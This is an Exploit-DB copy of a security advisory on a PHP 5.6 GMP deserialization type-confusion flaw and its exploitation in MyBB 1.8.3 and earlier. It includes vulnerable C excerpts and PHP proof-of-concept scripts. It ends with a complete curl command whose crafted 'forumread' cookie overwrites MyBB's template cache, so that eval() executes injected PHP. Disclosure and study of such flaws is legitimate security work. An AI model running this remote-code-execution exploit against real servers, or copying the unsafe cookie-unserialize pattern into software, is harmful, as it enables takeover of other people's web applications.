MyBB < 1.8.3 (with PHP 5.6 < 5.6.11) - Remote Code Execution

  • 作者: Taoguang Chen
    日期: 2017-01-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41150/
  • #GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]
    
    Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date: 2015.4.28 - Release Date: 2017.1.20
    
    > A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.
    
    Affected Versions
    ------------
    Affected is PHP 5.6 < 5.6.30
    
    Credits
    ------------
    This vulnerability was disclosed by Taoguang Chen.
    
    Description
    ------------
    gmp.c
    ```
    static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
    {
    	...
    	ALLOC_INIT_ZVAL(zv_ptr);
    	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
    		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
    	) {
    		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
    		goto exit;
    	}
    
    	if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
    		zend_hash_copy(
    			zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
    			(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
    		);
    	}
    ```
    
    zend_object_handlers.c
    ```
    ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
    {
    	zend_object *zobj;
    	zobj = Z_OBJ_P(object);
    	if (!zobj->properties) {
    		rebuild_object_properties(zobj);
    	}
    	return zobj->properties;
    }
    ```
    
    It has been demonstrated many times before that __wakeup() or other magic methods leads to `ZVAL` was changed from the memory in during deserializtion. So an attacker can change `**object` into an integer-type or bool-type `ZVAL`, then the attacker will be able to access any objects that stored in objects store via `Z_OBJ_P`. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.
    
    The following codes will prove this vulnerability:
    ```
    <?php
    
    class obj
    {
    	var $ryat;
    	
    	function __wakeup()
    	{
    		$this->ryat = 1;
    	}
    }
    
    $obj = new stdClass;
    $obj->aa = 1;
    $obj->bb = 2;
    
    $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
    $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
    $x = unserialize($exploit);
    var_dump($obj);
    
    ?>
    ```
    
    Expected result:
    ```
    object(stdClass)#1 (2) {
    ["aa"]=>
    int(1)
    ["bb"]=>
    int(2)
    }
    ```
    
    Actual result:
    ```
    object(stdClass)#1 (3) {
    ["aa"]=>
    string(2) "hi"
    ["bb"]=>
    string(2) "hi"
    [0]=>
    object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
    }
    }
    ```
    
    **i) How to exploited this bug in real world?**
    
    When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type `ZVAL` via GMP's gmp_cast_object():
    
    ```
    static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
    {
    mpz_ptr gmpnum;
    switch (type) {
    ...
    case IS_LONG:
    gmpnum = GET_GMP_FROM_ZVAL(readobj);
    INIT_PZVAL(writeobj);
    ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
    return SUCCESS;
    ```
    
    The following codes will prove this exploite way:
    ```
    <?php
    
    var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
    
    ?>
    ```
    Of course, a crafted __wakeup() can also be exploited, ex:
    
    ```
    <?php
    
    function __wakeup()
    {
    $this->ryat = (int) $this->ryat;
    }
    
    ?>
    ```
    
    **ii) Can be exploited this bug in real app?**
    
    Exploited the bug in MyBB:
    
    index.php
    ```
    	if(isset($mybb->cookies['mybb']['forumread']))
    	{
    		$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
    	}
    ```
    
    MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update `$mybb` or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)
    
    **P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.**
    
    Proof of Concept Exploit
    ------------
    **MyBB <= 1.8.3 RCE vulnerability**
    
    index.php
    ```
    eval('$index = "'.$templates->get('index').'";');
    ```
    
    MyBB always use eval() function in during template parsing.
    
    inc/class_templates.php
    ```
    class templates
    {
    	...
    	public $cache = array();
    	...
    	function get($title, $eslashes=1, $htmlcomments=1)
    	{
    		global $db, $theme, $mybb;
    		...
    		$template = $this->cache[$title];
    		...
    		return $template;
    	}
    ```
    
    If we can control the `$cache`, we will be albe to inject PHP code via eval() function.
    
    inc/init.php
    ```
    $error_handler = new errorHandler();
    ...
    $maintimer = new timer();
    ...
    $mybb = new MyBB;
    ...
    switch($config['database']['type'])
    {
    	case "sqlite":
    		$db = new DB_SQLite;
    		break;
    	case "pgsql":
    		$db = new DB_PgSQL;
    		break;
    	case "mysqli":
    		$db = new DB_MySQLi;
    		break;
    	default:
    		$db = new DB_MySQL;
    }
    ...
    $templates = new templates;
    ```
    
    The `$templates` object was instantiated in init.php, and four objects was instantiated in this before. This means the `$templates` object's handle was set to `5` and stored into objects store, so we can access the `$templates` object and update the `$cache` property via convert GMP object into integer-type `ZVAL` that value is `5` in during GMP deserialization. This also means we can inject PHP code via eval() function.
    
    When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by just using curl on the command line:
    ```
    curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
    ```